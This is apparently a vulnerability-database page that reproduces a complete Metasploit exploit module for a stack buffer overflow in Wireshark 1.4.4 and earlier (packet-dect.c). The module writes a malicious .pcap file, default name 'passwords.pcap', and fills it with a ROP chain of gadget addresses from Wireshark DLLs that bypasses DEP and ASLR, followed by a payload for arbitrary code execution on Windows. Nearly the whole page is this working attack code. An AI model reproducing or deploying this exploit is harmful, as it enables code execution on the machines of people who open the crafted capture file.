Lucene search
K

Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Wireshark 1.4.4 Stack Buffer Overflo

Code

                                                ##
# $Id: wireshark_packet_dect.rb 12364 2011-04-19 07:53:58Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Wireshark &#60;= 1.4.4 packet-dect.c Stack Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Wireshark &#60;= 1.4.4
				When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
				resulting in arbitrary code execution.
				This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;sickness&#39;,     #found the vulnerabilitiy
					&#39;corelanc0d3r&#39;  #rop exploit + msf module
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 12364 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;URL&#39;, &#39;https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838&#39; ],
					[ &#39;URL&#39;, &#39;https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/17185&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;       =&#62; 936,
					&#39;DisableNops&#39; =&#62; &#39;True&#39;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;32-bit Windows Universal (Generic DEP & ASLR Bypass)&#39;, 
						{ 
							&#39;OffSet&#39; =&#62; 1243,
							&#39;Ret&#39;    =&#62; 0x667c484d, #libgnutl pivot - tx Lincoln
						}
					],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Apr 18 2011&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options(
			[
				OptString.new(&#39;FILENAME&#39;, [ true, &#39;pcap file&#39;,  &#39;passwords.pcap&#39;]),
			], self.class)
	end
	
	def junk
		return rand_text(4).unpack(&#34;L&#34;)[0].to_i
	end

	def exploit

		print_status(&#34;Creating &#39;#{datastore[&#39;FILENAME&#39;]}&#39; file ...&#34;)

		global_header = &#34;\xd4\xc3\xb2\xa1&#34;      # magic_number
		global_header &#60;&#60; &#34;\x02\x00&#34;             # major version
		global_header &#60;&#60; &#34;\x04\x00&#34;             # minor version
		global_header &#60;&#60; &#34;\x00\x00\x00\x00&#34;     # GMT to local correction
		global_header &#60;&#60; &#34;\x00\x00\x00\x00&#34;     # accuracy
		global_header &#60;&#60; &#34;\xff\x7f\x00\x00&#34;     # snaplen
		global_header &#60;&#60; &#34;\x01\x00\x00\x00&#34;     # data link type

		packet_header = &#34;\x26\x32\xac\x4d&#34;      #timestamp seconds
		packet_header &#60;&#60; &#34;\xda\xfa\x00\x08&#34;     #timestamp microseconds
		packet_header &#60;&#60; &#34;\x04\x06\x00\x00&#34;     #nr of octets of packet in file
		packet_header &#60;&#60; &#34;\x04\x06\x00\x00&#34;     #actual size of packet (1540)	

		ptype = &#34;\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23&#34;

		print_status(&#34;Preparing payload&#34;)

		pivot = [target.ret].pack(&#39;V&#39;)

		# pvefindaddr rop &#39;n roll
		# tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
		rop_pivot =
		[
			0x618d7d0e,     # RET		
			0x618d7d0e,     # RET		
			0x618d7d0e,     # RET		
			0x64f9d5ec,     # ADD ESP,0C # RET - libfontconfig-1.dll
			0x618d7d0e,     # RET &#60;- don&#39;t count on this one !
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x618d7d0e,     # RET
			0x61C14268,     # ADD ESP,24 # RETN - freetype6.dll
			0xFFFFFFFF,     # crash baby ! 
			0xFFFFFFFF,
			0xFFFFFFFF,
			0xFFFFFFFF,
			0xFFFFFFFF,
			0x618d7d0e,
			0x618d7d0e,
			0x618d7d0e,
			0x618d7d0e,
		].pack(&#34;V*&#34;)

		rop_gadgets =
		[
	
			0x6d7155cb,     # PUSH ESP # POP EBX # POP EBP # RETN  **[libpangoft2-1.0-0.dll]
			junk,
			0x6d596e31,     # MOV EAX,EBX # POP EBX # POP EBP # RETN  **[libgio-2.0-0.dll]
			junk,
			junk,
			0x61c14552,     # POP EBX # RETN    ** [freetype6.dll]
			0x00000800,     # size - 0x800 should be more than enough
			0x61c14043,     # POP ESI # RETN    ** [freetype6.dll]	
			0x0000009C, 
			0x6d58321a,     # ADD EAX,ESI # POP ESI # POP EBP # RETN    **[libgio-2.0-0.dll]
			junk,
			junk,
			0x68610a27,     # XCHG EAX,EBP # RETN    ** [libglib-2.0-0.dll]
			0x629445a6,     # POP EAX # RETN    ** [libatk-1.0-0.dll]
			0x62d9027c,     # 
			0x6c385913,     # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN  ** [libgdk-win32-2.0-0.dll]
			0x617bc526,     # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN    ** [libgtk-win32-2.0-0.dll]
			0x64f8c692,     # POP EDX # RETN    ** [libfontconfig-1.dll]
			0x00000040,     #
			0x619638db,     # POP ECX # RETN    ** [libgtk-win32-2.0-0.dll]
			0x6536B010,     # RW
			0x618d7d0d,     # POP EDI # RETN    ** [libgtk-win32-2.0-0.dll] 
			0x618d7d0e,     # RET
			0x64fa0c15,     # POP EAX # RETN    ** [libfontconfig-1.dll] 
			0x618d7d0e,     # RET
			0x61963fdb,     # PUSHAD # RETN     ** [libgtk-win32-2.0-0.dll]
		].pack(&#34;V*&#34;)

		pivot = [target.ret].pack(&#39;V&#39;)

		buffer = rand_text(131)
		buffer &#60;&#60; rop_pivot
		buffer &#60;&#60; rop_gadgets

		nops = make_nops(target[&#39;OffSet&#39;] - (buffer.length) - (payload.encoded.length))

		buffer &#60;&#60; nops
		buffer &#60;&#60; payload.encoded
		buffer &#60;&#60; pivot

		filler = 1540 - buffer.length

		buffer &#60;&#60; rand_text(filler)

		filecontent = global_header
		filecontent &#60;&#60; packet_header
		filecontent &#60;&#60; ptype
		filecontent &#60;&#60; buffer

		print_status(&#34;Writing payload to file, &#34; + filecontent.length.to_s()+&#34; bytes&#34;)

		file_create(filecontent)
	end
end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation